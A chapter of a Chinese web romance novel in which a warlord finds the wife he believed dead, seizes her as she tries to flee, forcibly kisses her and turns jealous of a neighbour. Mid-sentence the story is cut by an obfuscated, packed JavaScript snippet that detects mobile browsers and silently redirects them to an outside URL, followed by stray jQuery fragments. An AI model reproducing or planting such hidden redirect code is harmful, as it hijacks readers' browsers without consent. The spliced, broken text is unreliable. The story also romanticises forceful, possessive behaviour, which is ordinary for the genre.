第113章 死而复生

作品:《重生之少帅的掌心娇医

    夕阳的最后一抹余晖,如同浓稠的血色,泼洒在这个原本宁静的小院里。


    “快点……再快点……”


    沈晚清的手在剧烈颤抖。她胡乱地将几件换洗衣物和那两张去香港的船票塞进包袱里,因为太过慌乱,连常用的银针盒掉在地上都没察觉。


    一种被猛兽盯上的寒意,顺着脊背爬满全身。


    哪怕阿福说陆淮锦已经走了,哪怕外面没有任何动静,但那种心悸的感觉却越来越强烈,强烈到让她几乎窒息。


    那是他们之间特有的感应。


    每一次他在附近,她都会这样。


    “团圆,别玩了,快出来!”沈晚清系好包袱,对着屋内喊了一声,转身就要去拿晾衣架上的另一件小棉袄。


    然而。


    就在她转身的那一瞬间。


    她的脚步猛地钉在了原地,浑身的血液仿佛在这一秒冻结。


    院子中央,那棵老柳树下。


    不知何时,多出了一个高大的身影。


    他没有穿那身显赫的大帅戎装,只穿了一件简单的白色衬衫和黑色马甲,袖口随意地挽起,露出一截结实的小臂。


    他就那样静静地站在那里,背着光,面容隐藏在阴影中。


    但他那双眼睛。


    那双深邃、幽暗、此刻却翻涌着惊涛骇浪的眼睛,正死死地盯着她。


    “嗒。”


    沈晚清手中的包袱滑落,重重地砸在地上,发出一声闷响。


    风停了。


    世界静止了。


    三年。


    一千零九十五个日日夜夜。


    她曾在梦里无数次见过他,也曾在报纸上无数次描摹过他的脸。但当这个活生生的人真的出现在面前,出现在这个充满药草香的小院里时,她才发现,自己所有的心理建设,在这一刻溃不成军。


    他瘦了好多。


    眼窝深陷,颧骨突出,脸色呈现出一种病态的苍白。原本挺拔如松的脊背,此刻却因为极度的紧绷而微微颤抖。


    他看着她,就像看着一个失而复得的易碎梦境。


    “晚晚。”


    良久。


    他开口了。


    只有两个字。


    声音沙哑、破碎,带着小心翼翼的试探,仿佛只要声音大一点,眼前这个正在晾晒草药的身影就会像三年前那样,化作飞灰消失不见。


    沈晚清的眼泪,毫无预兆地夺眶而出。


    “你……”


    她张了张嘴,却发不出声音。


    理智告诉她,快跑。趁着还没有彻底被抓住,快跑。


    身体比大脑反应更快。沈晚清下意识地后退了一步,转身就要往屋内冲去——那里有通往隔壁的暗门!


    “想跑?”


    看到她转身的一刹那,陆淮锦眼底的最后一丝理智崩断了。


    “你还想跑去哪?!”


    他发出一声低吼,整个人如同一头被激怒的猎豹,瞬间跨越了两人之间那几米的距离。


    “砰!”


    就在沈晚清的手即将触碰到门框的瞬间。


    一只滚烫的大手从身后狠狠地攥住了她的手腕,一股巨大的力量袭来,将她整个人猛地拽了回去。


    天旋地转。


    下一秒。


    沈晚清重重地撞进了一个坚硬、滚烫、带着淡淡烟草味和熟悉气息的怀抱里。


    “放开我……陆淮锦!你放开我!”


    沈晚清拼命挣扎,拳头雨点般砸在他的胸口。


    “不放!死也不放!”


    陆淮锦红着眼,双臂如同铁钳一般,死死地箍住她的腰和后背,力道大得仿佛要将她揉进自己的骨血里,甚至勒得她骨头生疼。


    “沈晚清!你好狠的心!”


    他把头埋在她的颈窝里,声音颤抖得不成样子,带着无尽的委屈和控诉:


    “三年了……”


    “我给你挖坟,给你立碑,给你守丧……我每天晚上抱着你的衣服睡觉,我活得像个行尸走肉……”


    “你却在这里……你却躲在这里过你的太平日子!”


    “你怎么能这么对我……你怎么舍得……”


    滚烫的液体,顺着他的眼角滑落,滴在沈晚清的脖颈里。


    烫得她浑身一颤。


    那是陆淮锦的泪。


    那个流血不流泪、**如麻的修罗战神,此刻却像个丢了糖果又找回来的孩子,抱着她哭得浑身颤抖。


    沈晚清停止了挣扎。


    她听着他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935601|192885||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    胸腔里那剧烈到快要**的心跳声,感受着他那仿佛要将她勒死的力度。


    所有的防线,都在这一刻崩塌。


    她缓缓抬起手,迟疑着,最终还是轻轻地落在了他瘦削的后背上。


    “淮锦……”


    她哽咽着,泪如雨下,“对不起……”


    “我不是故意要丢下你……”


    “我是为了团圆……为了你没有后顾之忧……”


    听到“团圆”两个字,陆淮锦猛地抬起头。


    他那一双布满红血丝的眼睛,死死地盯着近在咫尺的这张脸。


    没有烧伤,没有毁容。


    她是鲜活的,是温热的。


    这就是死而复生。


    “别跟我提理由。”


    陆淮锦咬着牙,眼底闪烁着偏执的光芒,“我只知道,你骗了我。你让我当了三年的鳏夫。”


    他突然低下头,不再给她任何解释的机会,狠狠地吻上了那张让他思念成狂的唇。


    这不是一个温柔的吻。


    这是一个带着惩罚、带着掠夺、带着宣泄的吻。那是在绝望的灰烬中压抑了三年的火焰,一旦重燃,便是燎原之势。


    “唔……”


    沈晚清被迫仰起头,承受着这**般的索取。


    就在两人吻得难舍难分,气氛暧昧到极点时。


    “咚咚咚。”


    院墙外,突然传来了一阵不合时宜的敲门声,紧接着是一个温润儒雅的男声响起:


    “柳大夫?在家吗?”


    “我刚才看小团圆的风筝掉街上了,特意给他做了一个新的送过来。今晚做了你爱吃的桂花糖藕,要不要一起……”


    陆淮锦的动作猛地停住了。


    他松开沈晚清那被吻得红肿的唇,缓缓转过头,目光如刀锋般刺向那扇木门。


    柳大夫?


    爱吃的糖藕?


    陆淮锦的眼睛眯了起来,那一抹刚刚升起的柔情瞬间消散,取而代之的是更加浓烈的、令人胆寒的杀意与妒火。


    “沈晚清。”


    他回过头,手指轻轻摩挲着她的嘴唇,笑得阴恻恻的:


    “看来这三年,你过得很滋润啊。”


    “连‘隔壁老王’都有了?”